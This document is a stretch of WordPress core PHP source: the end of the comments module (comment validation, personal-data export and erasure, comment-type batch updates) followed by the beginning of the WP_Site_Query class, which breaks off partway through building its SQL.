		} elseif ( ! is_email( $comment_author_email ) ) {
			return new WP_Error( 'require_valid_email', __( '<strong>Error:</strong> Please enter a valid email address.' ), 200 );
		}
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type',
		'comment_parent',
		'user_id'
	);

	/**
	 * Filters whether an empty comment should be allowed.
	 *
	 * @since 5.1.0
	 *
	 * @param bool  $allow_empty_comment Whether to allow empty comments. Default false.
	 * @param array $commentdata         Array of comment data to be sent to wp_insert_comment().
	 */
	$allow_empty_comment = apply_filters( 'allow_empty_comment', false, $commentdata );
	if ( '' === $comment_content && ! $allow_empty_comment ) {
		return new WP_Error( 'require_valid_comment', __( '<strong>Error:</strong> Please type your comment text.' ), 200 );
	}

	$check_max_lengths = wp_check_comment_data_max_lengths( $commentdata );
	if ( is_wp_error( $check_max_lengths ) ) {
		return $check_max_lengths;
	}

	$comment_id = wp_new_comment( wp_slash( $commentdata ), true );
	if ( is_wp_error( $comment_id ) ) {
		return $comment_id;
	}

	if ( ! $comment_id ) {
		return new WP_Error( 'comment_save_error', __( '<strong>Error:</strong> The comment could not be saved. Please try again later.' ), 500 );
	}

	return get_comment( $comment_id );
}

/**
 * Registers the personal data exporter for comments.
 *
 * @since 4.9.6
 *
 * @param array[] $exporters An array of personal data exporters.
 * @return array[] An array of personal data exporters.
 */
function wp_register_comment_personal_data_exporter( $exporters ) {
	$exporters['wordpress-comments'] = array(
		'exporter_friendly_name' => __( 'WordPress Comments' ),
		'callback'               => 'wp_comments_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports personal data associated with an email address from the comments table.
 *
 * @since 4.9.6
 *
 * @param string $email_address The comment author email address.
 * @param int    $page          Comment page number.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_comments_personal_data_exporter( $email_address, $page = 1 ) {
	// Limit us to 500 comments at a time to avoid timing out.
	$number = 500;
	$page   = (int) $page;

	$data_to_export = array();

	$comments = get_comments(
		array(
			'author_email'              => $email_address,
			'number'                    => $number,
			'paged'                     => $page,
			'orderby'                   => 'comment_ID',
			'order'                     => 'ASC',
			'update_comment_meta_cache' => false,
		)
	);

	$comment_prop_to_export = array(
		'comment_author'       => __( 'Comment Author' ),
		'comment_author_email' => __( 'Comment Author Email' ),
		'comment_author_url'   => __( 'Comment Author URL' ),
		'comment_author_IP'    => __( 'Comment Author IP' ),
		'comment_agent'        => __( 'Comment Author User Agent' ),
		'comment_date'         => __( 'Comment Date' ),
		'comment_content'      => __( 'Comment Content' ),
		'comment_link'         => __( 'Comment URL' ),
	);

	foreach ( (array) $comments as $comment ) {
		$comment_data_to_export = array();

		foreach ( $comment_prop_to_export as $key => $name ) {
			$value = '';

			switch ( $key ) {
				case 'comment_author':
				case 'comment_author_email':
				case 'comment_author_url':
				case 'comment_author_IP':
				case 'comment_agent':
				case 'comment_date':
					$value = $comment->{$key};
					break;

				case 'comment_content':
					$value = get_comment_text( $comment->comment_ID );
					break;

				case 'comment_link':
					$value = get_comment_link( $comment->comment_ID );
					$value = sprintf(
						'<a href="%s" target="_blank" rel="noopener">%s</a>',
						esc_url( $value ),
						esc_html( $value )
					);
					break;
			}

			if ( ! empty( $value ) ) {
				$comment_data_to_export[] = array(
					'name'  => $name,
					'value' => $value,
				);
			}
		}

		$data_to_export[] = array(
			'group_id'          => 'comments',
			'group_label'       => __( 'Comments' ),
			'group_description' => __( 'User&#8217;s comment data.' ),
			'item_id'           => "comment-{$comment->comment_ID}",
			'data'              => $comment_data_to_export,
		);
	}

	$done = count( $comments ) < $number;

	return array(
		'data' => $data_to_export,
		'done' => $done,
	);
}

/**
 * Registers the personal data eraser for comments.
 *
 * @since 4.9.6
 *
 * @param array $erasers An array of personal data erasers.
 * @return array An array of personal data erasers.
 */
function wp_register_comment_personal_data_eraser( $erasers ) {
	$erasers['wordpress-comments'] = array(
		'eraser_friendly_name' => __( 'WordPress Comments' ),
		'callback'             => 'wp_comments_personal_data_eraser',
	);

	return $erasers;
}

/**
 * Erases personal data associated with an email address from the comments table.
 *
 * @since 4.9.6
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $email_address The comment author email address.
 * @param int    $page          Comment page number.
 * @return array {
 *     Data removal results.
 *
 *     @type bool     $items_removed  Whether items were actually removed.
 *     @type bool     $items_retained Whether items were retained.
 *     @type string[] $messages       An array of messages to add to the personal data export file.
 *     @type bool     $done           Whether the eraser is finished.
 * }
 */
function wp_comments_personal_data_eraser( $email_address, $page = 1 ) {
	global $wpdb;

	if ( empty( $email_address ) ) {
		return array(
			'items_removed'  => false,
			'items_retained' => false,
			'messages'       => array(),
			'done'           => true,
		);
	}

	// Limit us to 500 comments at a time to avoid timing out.
	$number         = 500;
	$page           = (int) $page;
	$items_removed  = false;
	$items_retained = false;

	$comments = get_comments(
		array(
			'author_email'       => $email_address,
			'number'             => $number,
			'paged'              => $page,
			'orderby'            => 'comment_ID',
			'order'              => 'ASC',
			'include_unapproved' => true,
		)
	);

	/* translators: Name of a comment's author after being anonymized. */
	$anon_author = __( 'Anonymous' );
	$messages    = array();

	foreach ( (array) $comments as $comment ) {
		$anonymized_comment                         = array();
		$anonymized_comment['comment_agent']        = '';
		$anonymized_comment['comment_author']       = $anon_author;
		$anonymized_comment['comment_author_email'] = '';
		$anonymized_comment['comment_author_IP']    = wp_privacy_anonymize_data( 'ip', $comment->comment_author_IP );
		$anonymized_comment['comment_author_url']   = '';
		$anonymized_comment['user_id']              = 0;

		$comment_id = (int) $comment->comment_ID;

		/**
		 * Filters whether to anonymize the comment.
		 *
		 * @since 4.9.6
		 *
		 * @param bool|string $anon_message       Whether to apply the comment anonymization (bool) or a custom
		 *                                        message (string). Default true.
		 * @param WP_Comment  $comment            WP_Comment object.
		 * @param array       $anonymized_comment Anonymized comment data.
		 */
		$anon_message = apply_filters( 'wp_anonymize_comment', true, $comment, $anonymized_comment );

		if ( true !== $anon_message ) {
			if ( $anon_message && is_string( $anon_message ) ) {
				$messages[] = esc_html( $anon_message );
			} else {
				/* translators: %d: Comment ID. */
				$messages[] = sprintf( __( 'Comment %d contains personal data but could not be anonymized.' ), $comment_id );
			}

			$items_retained = true;

			continue;
		}

		$args = array(
			'comment_ID' => $comment_id,
		);

		$updated = $wpdb->update( $wpdb->comments, $anonymized_comment, $args );

		if ( $updated ) {
			$items_removed = true;
			clean_comment_cache( $comment_id );
		} else {
			$items_retained = true;
		}
	}

	$done = count( $comments ) < $number;

	return array(
		'items_removed'  => $items_removed,
		'items_retained' => $items_retained,
		'messages'       => $messages,
		'done'           => $done,
	);
}

/**
 * Sets the last changed time for the 'comment' cache group.
 *
 * @since 5.0.0
 */
function wp_cache_set_comments_last_changed() {
	wp_cache_set_last_changed( 'comment' );
}

/**
 * Updates the comment type for a batch of comments.
 *
 * @since 5.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function _wp_batch_update_comment_type() {
	global $wpdb;

	$lock_name = 'update_comment_type.lock';

	// Try to lock.
	$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) );

	if ( ! $lock_result ) {
		$lock_result = get_option( $lock_name );

		// Bail if we were unable to create a lock, or if the existing lock is still valid.
		if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) {
			wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );
			return;
		}
	}

	// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
	update_option( $lock_name, time() );

	// Check if there's still an empty comment type.
	$empty_comment_type = $wpdb->get_var(
		"SELECT comment_ID FROM $wpdb->comments
		WHERE comment_type = ''
		LIMIT 1"
	);

	// No empty comment type, we're done here.
	if ( ! $empty_comment_type ) {
		update_option( 'finished_updating_comment_type', true );
		delete_option( $lock_name );
		return;
	}

	// Empty comment type found? We'll need to run this script again.
	wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );

	/**
	 * Filters the comment batch size for updating the comment type.
	 *
	 * @since 5.5.0
	 *
	 * @param int $comment_batch_size The comment batch size. Default 100.
	 */
	$comment_batch_size = (int) apply_filters( 'wp_update_comment_type_batch_size', 100 );

	// Get the IDs of the comments to update.
	$comment_ids = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT comment_ID
			FROM {$wpdb->comments}
			WHERE comment_type = ''
			ORDER BY comment_ID DESC
			LIMIT %d",
			$comment_batch_size
		)
	);

	if ( $comment_ids ) {
		$comment_id_list = implode( ',', $comment_ids );

		// Update the `comment_type` field value to be `comment` for the next batch of comments.
		$wpdb->query(
			"UPDATE {$wpdb->comments}
			SET comment_type = 'comment'
			WHERE comment_type = ''
			AND comment_ID IN ({$comment_id_list})" // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		);

		// Make sure to clean the comment cache.
		clean_comment_cache( $comment_ids );
	}

	delete_option( $lock_name );
}

/**
 * In order to avoid the _wp_batch_update_comment_type() job being accidentally removed,
 * check that it's still scheduled while we haven't finished updating comment types.
 *
 * @ignore
 * @since 5.5.0
 */
function _wp_check_for_scheduled_update_comment_type() {
	if ( ! get_option( 'finished_updating_comment_type' ) && ! wp_next_scheduled( 'wp_update_comment_type_batch' ) ) {
		wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_update_comment_type_batch' );
	}
}
<?php
/**
 * Site API: WP_Site_Query class
 *
 * @package WordPress
 * @subpackage Sites
 * @since 4.6.0
 */

/**
 * Core class used for querying sites.
 *
 * @since 4.6.0
 *
 * @see WP_Site_Query::__construct() for accepted arguments.
 */
#[AllowDynamicProperties]
class WP_Site_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.6.0
	 * @var string
	 */
	public $request;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	protected $sql_clauses = array(
		'select'  => '',
		'from'    => '',
		'where'   => array(),
		'groupby' => '',
		'orderby' => '',
		'limits'  => '',
	);

	/**
	 * Metadata query container.
	 *
	 * @since 5.1.0
	 * @var WP_Meta_Query
	 */
	public $meta_query = false;

	/**
	 * Metadata query clauses.
	 *
	 * @since 5.1.0
	 * @var array
	 */
	protected $meta_query_clauses;

	/**
	 * Date query container.
	 *
	 * @since 4.6.0
	 * @var WP_Date_Query A date query instance.
	 */
	public $date_query = false;

	/**
	 * Query vars set by the user.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of sites located by the query.
	 *
	 * @since 4.6.0
	 * @var array
	 */
	public $sites;

	/**
	 * The amount of found sites for the current query.
	 *
	 * @since 4.6.0
	 * @var int
	 */
	public $found_sites = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.6.0
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * Sets up the site query, based on the query vars passed.
	 *
	 * @since 4.6.0
	 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
	 * @since 5.1.0 Introduced the 'update_site_meta_cache', 'meta_query', 'meta_key',
	 *              'meta_compare_key', 'meta_value', 'meta_type', and 'meta_compare' parameters.
	 * @since 5.3.0 Introduced the 'meta_type_key' parameter.
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of site query parameters. Default empty.
	 *
	 *     @type int[]           $site__in               Array of site IDs to include. Default empty.
	 *     @type int[]           $site__not_in           Array of site IDs to exclude. Default empty.
	 *     @type bool            $count                  Whether to return a site count (true) or array of site objects.
	 *                                                   Default false.
	 *     @type array           $date_query             Date query clauses to limit sites by. See WP_Date_Query.
	 *                                                   Default null.
	 *     @type string          $fields                 Site fields to return. Accepts 'ids' (returns an array of site IDs)
	 *                                                   or empty (returns an array of complete site objects). Default empty.
	 *     @type int             $ID                     A site ID to only return that site. Default empty.
	 *     @type int             $number                 Maximum number of sites to retrieve. Default 100.
	 *     @type int             $offset                 Number of sites to offset the query. Used to build LIMIT clause.
	 *                                                   Default 0.
	 *     @type bool            $no_found_rows          Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
	 *     @type string|array    $orderby                Site status or array of statuses. Accepts:
	 *                                                   - 'id'
	 *                                                   - 'domain'
	 *                                                   - 'path'
	 *                                                   - 'network_id'
	 *                                                   - 'last_updated'
	 *                                                   - 'registered'
	 *                                                   - 'domain_length'
	 *                                                   - 'path_length'
	 *                                                   - 'site__in'
	 *                                                   - 'network__in'
	 *                                                   - 'deleted'
	 *                                                   - 'mature'
	 *                                                   - 'spam'
	 *                                                   - 'archived'
	 *                                                   - 'public'
	 *                                                   - false, an empty array, or 'none' to disable `ORDER BY` clause.
	 *                                                   Default 'id'.
	 *     @type string          $order                  How to order retrieved sites. Accepts 'ASC', 'DESC'. Default 'ASC'.
	 *     @type int             $network_id             Limit results to those affiliated with a given network ID. If 0,
	 *                                                   include all networks. Default 0.
	 *     @type int[]           $network__in            Array of network IDs to include affiliated sites for. Default empty.
	 *     @type int[]           $network__not_in        Array of network IDs to exclude affiliated sites for. Default empty.
	 *     @type string          $domain                 Limit results to those affiliated with a given domain. Default empty.
	 *     @type string[]        $domain__in             Array of domains to include affiliated sites for. Default empty.
	 *     @type string[]        $domain__not_in         Array of domains to exclude affiliated sites for. Default empty.
	 *     @type string          $path                   Limit results to those affiliated with a given path. Default empty.
	 *     @type string[]        $path__in               Array of paths to include affiliated sites for. Default empty.
	 *     @type string[]        $path__not_in           Array of paths to exclude affiliated sites for. Default empty.
	 *     @type int             $public                 Limit results to public sites. Accepts 1 or 0. Default empty.
	 *     @type int             $archived               Limit results to archived sites. Accepts 1 or 0. Default empty.
	 *     @type int             $mature                 Limit results to mature sites. Accepts 1 or 0. Default empty.
	 *     @type int             $spam                   Limit results to spam sites. Accepts 1 or 0. Default empty.
	 *     @type int             $deleted                Limit results to deleted sites. Accepts 1 or 0. Default empty.
	 *     @type int             $lang_id                Limit results to a language ID. Default empty.
	 *     @type string[]        $lang__in               Array of language IDs to include affiliated sites for. Default empty.
	 *     @type string[]        $lang__not_in           Array of language IDs to exclude affiliated sites for. Default empty.
	 *     @type string          $search                 Search term(s) to retrieve matching sites for. Default empty.
	 *     @type string[]        $search_columns         Array of column names to be searched. Accepts 'domain' and 'path'.
	 *                                                   Default empty array.
	 *     @type bool            $update_site_cache      Whether to prime the cache for found sites. Default true.
	 *     @type bool            $update_site_meta_cache Whether to prime the metadata cache for found sites. Default true.
	 *     @type string|string[] $meta_key               Meta key or keys to filter by.
	 *     @type string|string[] $meta_value             Meta value or values to filter by.
	 *     @type string          $meta_compare           MySQL operator used for comparing the meta value.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key       MySQL operator used for comparing the meta key.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type              MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key          MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query             An associative array of WP_Meta_Query arguments.
	 *                                                   See WP_Meta_Query::__construct() for accepted values.
	 * }
	 */
	public function __construct( $query = '' ) {
		$this->query_var_defaults = array(
			'fields'                 => '',
			'ID'                     => '',
			'site__in'               => '',
			'site__not_in'           => '',
			'number'                 => 100,
			'offset'                 => '',
			'no_found_rows'          => true,
			'orderby'                => 'id',
			'order'                  => 'ASC',
			'network_id'             => 0,
			'network__in'            => '',
			'network__not_in'        => '',
			'domain'                 => '',
			'domain__in'             => '',
			'domain__not_in'         => '',
			'path'                   => '',
			'path__in'               => '',
			'path__not_in'           => '',
			'public'                 => null,
			'archived'               => null,
			'mature'                 => null,
			'spam'                   => null,
			'deleted'                => null,
			'lang_id'                => null,
			'lang__in'               => '',
			'lang__not_in'           => '',
			'search'                 => '',
			'search_columns'         => array(),
			'count'                  => false,
			'date_query'             => null, // See WP_Date_Query.
			'update_site_cache'      => true,
			'update_site_meta_cache' => true,
			'meta_query'             => '',
			'meta_key'               => '',
			'meta_value'             => '',
			'meta_type'              => '',
			'meta_compare'           => '',
		);

		if ( ! empty( $query ) ) {
			$this->query( $query );
		}
	}

	/**
	 * Parses arguments passed to the site query with default query parameters.
	 *
	 * @since 4.6.0
	 *
	 * @see WP_Site_Query::__construct()
	 *
	 * @param string|array $query Array or string of WP_Site_Query arguments. See WP_Site_Query::__construct().
	 */
	public function parse_query( $query = '' ) {
		if ( empty( $query ) ) {
			$query = $this->query_vars;
		}

		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );

		/**
		 * Fires after the site query vars have been parsed.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Site_Query $query The WP_Site_Query instance (passed by reference).
		 */
		do_action_ref_array( 'parse_site_query', array( &$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving sites.
	 *
	 * @since 4.6.0
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids',
	 *                   or the number of sites when 'count' is passed as a query var.
	 */
	public function query( $query ) {
		$this->query_vars = wp_parse_args( $query );

		return $this->get_sites();
	}

	/**
	 * Retrieves a list of sites matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids',
	 *                   or the number of sites when 'count' is passed as a query var.
	 */
	public function get_sites() {
		global $wpdb;

		$this->parse_query();

		// Parse meta query.
		$this->meta_query = new WP_Meta_Query();
		$this->meta_query->parse_query_vars( $this->query_vars );

		/**
		 * Fires before sites are retrieved.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Site_Query $query Current instance of WP_Site_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_get_sites', array( &$this ) );

		// Reparse query vars, in case they were modified in a 'pre_get_sites' callback.
		$this->meta_query->parse_query_vars( $this->query_vars );
		if ( ! empty( $this->meta_query->queries ) ) {
			$this->meta_query_clauses = $this->meta_query->get_sql( 'blog', $wpdb->blogs, 'blog_id', $this );
		}

		$site_data = null;

		/**
		 * Filters the site data before the get_sites query takes place.
		 *
		 * Return a non-null value to bypass WordPress' default site queries.
		 *
		 * The expected return type from this filter depends on the value passed
		 * in the request query vars:
		 * - When `$this->query_vars['count']` is set, the filter should return
		 *   the site count as an integer.
		 * - When `'ids' === $this->query_vars['fields']`, the filter should return
		 *   an array of site IDs.
		 * - Otherwise the filter should return an array of WP_Site objects.
		 *
		 * Note that if the filter returns an array of site data, it will be assigned
		 * to the `sites` property of the current WP_Site_Query instance.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_sites` and `max_num_pages` properties of the WP_Site_Query object,
		 * passed to the filter by reference. If WP_Site_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 5.2.0
		 * @since 5.6.0 The returned array of site data is assigned to the `sites` property
		 *              of the current WP_Site_Query instance.
		 *
		 * @param array|int|null $site_data Return an array of site data to short-circuit WP's site query,
		 *                                  the site count as an integer if `$this->query_vars['count']` is set,
		 *                                  or null to run the normal queries.
		 * @param WP_Site_Query  $query     The WP_Site_Query instance, passed by reference.
		 */
		$site_data = apply_filters_ref_array( 'sites_pre_query', array( $site_data, &$this ) );

		if ( null !== $site_data ) {
			if ( is_array( $site_data ) && ! $this->query_vars['count'] ) {
				$this->sites = $site_data;
			}

			return $site_data;
		}

		// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
		$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );

		// Ignore the $fields, $update_site_cache, $update_site_meta_cache argument as the queried result will be the same regardless.
		unset( $_args['fields'], $_args['update_site_cache'], $_args['update_site_meta_cache'] );

		$key          = md5( serialize( $_args ) );
		$last_changed = wp_cache_get_last_changed( 'sites' );

		$cache_key   = "get_sites:$key:$last_changed";
		$cache_value = wp_cache_get( $cache_key, 'site-queries' );

		if ( false === $cache_value ) {
			$site_ids = $this->get_site_ids();
			if ( $site_ids ) {
				$this->set_found_sites();
			}

			$cache_value = array(
				'site_ids'    => $site_ids,
				'found_sites' => $this->found_sites,
			);
			wp_cache_add( $cache_key, $cache_value, 'site-queries' );
		} else {
			$site_ids          = $cache_value['site_ids'];
			$this->found_sites = $cache_value['found_sites'];
		}

		if ( $this->found_sites && $this->query_vars['number'] ) {
			$this->max_num_pages = (int) ceil( $this->found_sites / $this->query_vars['number'] );
		}

		// If querying for a count only, there's nothing more to do.
		if ( $this->query_vars['count'] ) {
			// $site_ids is actually a count in this case.
			return (int) $site_ids;
		}

		$site_ids = array_map( 'intval', $site_ids );

		if ( $this->query_vars['update_site_meta_cache'] ) {
			wp_lazyload_site_meta( $site_ids );
		}

		if ( 'ids' === $this->query_vars['fields'] ) {
			$this->sites = $site_ids;

			return $this->sites;
		}

		// Prime site network caches.
		if ( $this->query_vars['update_site_cache'] ) {
			_prime_site_caches( $site_ids, false );
		}

		// Fetch full site objects from the primed cache.
		$_sites = array();
		foreach ( $site_ids as $site_id ) {
			$_site = get_site( $site_id );
			if ( $_site ) {
				$_sites[] = $_site;
			}
		}

		/**
		 * Filters the site query results.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Site[]     $_sites An array of WP_Site objects.
		 * @param WP_Site_Query $query  Current instance of WP_Site_Query (passed by reference).
		 */
		$_sites = apply_filters_ref_array( 'the_sites', array( $_sites, &$this ) );

		// Convert to WP_Site instances.
		$this->sites = array_map( 'get_site', $_sites );

		return $this->sites;
	}

	/**
	 * Used internally to get a list of site IDs matching the query vars.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array A single count of site IDs if a count query. An array of site IDs if a full query.
	 */
	protected function get_site_ids() {
		global $wpdb;

		$order = $this->parse_order( $this->query_vars['order'] );

		// Disable ORDER BY with 'none', an empty array, or boolean false.
		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
			$orderby = '';
		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
			$ordersby = is_array( $this->query_vars['orderby'] ) ?
				$this->query_vars['orderby'] :
				preg_split( '/[,\s]/', $this->query_vars['orderby'] );

			$orderby_array = array();
			foreach ( $ordersby as $_key => $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order   = $order;
				} else {
					$_orderby = $_key;
					$_order   = $_value;
				}

				$parsed = $this->parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( 'site__in' === $_orderby || 'network__in' === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
			}

			$orderby = implode( ', ', $orderby_array );
		} else {
			$orderby = "{$wpdb->blogs}.blog_id $order";
		}

		$number = absint( $this->query_vars['number'] );
		$offset = absint( $this->query_vars['offset'] );
		$limits = '';

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = 'LIMIT ' . $offset . ',' . $number;
			} else {
				$limits = 'LIMIT ' . $number;
			}
		}

		if ( $this->query_vars['count'] ) {
			$fields = 'COUNT(*)';
		} else {
			$fields = "{$wpdb->blogs}.blog_id";
		}

		// Parse site IDs for an IN clause.
		$site_id = absint( $this->query_vars['ID'] );
		if ( ! empty( $site_id ) ) {
			$this->sql_clauses['where']['ID'] = $wpdb->prepare( "{$wpdb->blogs}.blog_id = %d", $site_id );
		}

		// Parse site IDs for an IN clause.
		if ( ! empty( $this->query_vars['site__in'] ) ) {
			$this->sql_clauses['where']['site__in'] = "{$wpdb->blogs}.blog_id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['site__in'] ) ) . ' )';
		}

		// Parse site IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['site__not_in'] ) ) {
			$this->sql_clauses['where']['site__not_in'] = "{$wpdb->blogs}.blog_id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['site__not_in'] ) ) . ' )';
		}

		$network_id = absint( $this->query_vars['network_id'] );

		if ( ! empty( $network_id ) ) {
			$this->sql_clauses['where']['network_id'] = $wpdb->prepare( 'site_id = %d', $network_id );
		}

		// Parse site network IDs for an IN clause.
		if ( ! empty( $this->query_vars['network__in'] ) ) {
			$this->sql_clauses['where']['network__in'] = 'site_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )';
		}

		// Parse site network IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['network__not_in'] ) ) {
			$this->sql_clauses['where']['network__not_in'] = 'site_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )';
		}

		if ( ! empty( $this->query_vars['domain'] ) ) {
			$this->sql_clauses['where']['domain'] = $wpdb->prepare( 'domain = %s', $this->query_vars['domain'] );
		}

		// Parse site domain for an IN clause.
		if ( is_array( $this->query_vars['domain__in'] ) ) {
			$this->sql_clauses['where']['domain__in'] = "domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )";
		}

		// Parse site domain for a NOT IN clause.
		if ( is_array( $this->query_vars['domain__not_in'] ) ) {
			$this->sql_clauses['where']['domain__not_in'] = "domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )";
		}

		if ( ! empty( $this->query_vars['path'] ) ) {
			$this->sql_clauses['where']['path'] = $wpdb->prepare( 'path = %s', $this->query_vars['path'] );
		}

		// Parse site path for an IN clause.
		if ( is_array( $this->query_vars['path__in'] ) ) {
			$this->sql_clauses['where']['path__in'] = "path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )";
		}

		// Parse site path for a NOT IN clause.
		if ( is_array( $this->query_vars['path__not_in'] ) ) {
			$this->sql_clauses['where']['path__not_in'] = "path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )";
		}

		if ( is_numeric( $this->query_vars['archived'] ) ) {
			$archived                               = absint( $this->query_vars['archived'] );
			$this->sql_clauses['where']['archived'] = $wpdb->prepare( 'archived = %s ', absint( $archived ) );
		}

		if ( is_numeric( $this->query_vars['mature'] ) ) {
			$mature                               = absint( $this->query_vars['mature'] );
			$this->sql_clauses['where']['mature'] = $wpdb->prepare( 'mature = %d ', $mature );
		}

		if ( is_numeric( $this->query_vars['spam'] ) ) {
			$spam                               = absint( $this->query_vars['spam'] );
			$this->sql_clauses['where']['spam'] = $wpdb->prepare( 'spam = %d ', $spam );
		}

		if ( is_numeric( $this->query_vars['deleted'] ) ) {
			$deleted                               = absint( $this->query_vars['deleted'] );
			$this->sql_clauses['where']['deleted'] = $wpdb->prepare( 'deleted = %d ', $deleted );
		}

		if ( is_numeric( $this->query_vars['public'] ) ) {
			$public                               = absint( $this->query_vars['public'] );
			$this->sql_clauses['where']['public'] = $wpdb->prepare( 'public = %d ', $public );
		}

		if ( is_numeric( $this->query_vars['lang_id'] ) ) {
			$lang_id                               = absint( $this->query_vars['lang_id'] );
			$this->sql_clauses['where']['lang_id'] = $wpdb->prepare( 'lang_id = %d ', $lang_id );
		}

		// Parse site language IDs for an IN clause.
		if ( ! empty( $this->query_vars['lang__in'] ) ) {
			$this->sql_clauses['where']['lang__in'] = 'lang_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['lang__in'] ) ) . ' )';
		}

		// Parse site language IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['lang__not_in'] ) ) {
			$this->sql_clauses['where']['lang__not_in'] = 'lang_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['lang__not_in'] ) ) . ' )';
		}

		// Falsey search strings are ignored.
		if ( strlen( $this->query_vars['search'] ) ) {
			$search_columns = array();

			if ( $this->query_vars['search_columns'] ) {
				$search_columns = array_intersect( $this->query_vars['search_columns'], array( 'domain', 'path' ) );
			}

			if ( ! $search_columns ) {
				$search_columns = array( 'domain', 'path' );
			}

			/**
			 * Filters the columns to search in a WP_Site_Query search.
			 *
			 * The default columns include 'domain' and 'path.
			 *
			 * @since 4.6.0
			 *
			 * @param string[]      $search_columns Array of column names to be searched.
			 * @param string        $search         Text being searched.
			 * @param WP_Site_Query $query          The current WP_Site_Query instance.
			 */
			$search_columns = apply_filters( 'site_search_columns', $search_columns, $this->query_vars['search'], $this );

			$this->sql_clauses['where']['search'] = $this->get_search_sql( $this->query_vars['search'], $search_columns );
		}

		$date_query = $this->query_vars['date_query'];
		if ( ! empty( $date_query ) && is_array( $date_query ) ) {
			$this->date_query = new WP_Date_Query( $date_query, 'registered' );

			// Strip leading 'AND'.
			$this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() );
		}

		$join    = '';
		$groupby = '';

		if ( ! empty( $this->meta_query_clauses ) ) {
			$join .= $this->meta_query_clauses['join'];

			// Strip leading 'AND'.
			$this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] );

			if ( ! $this->query_vars['count'] ) {
				$groupby = "{$wpdb->blogs}.blog_id";
			}
		}

		$where = implode( ' AND ', $this->sql_clauses['where'] );

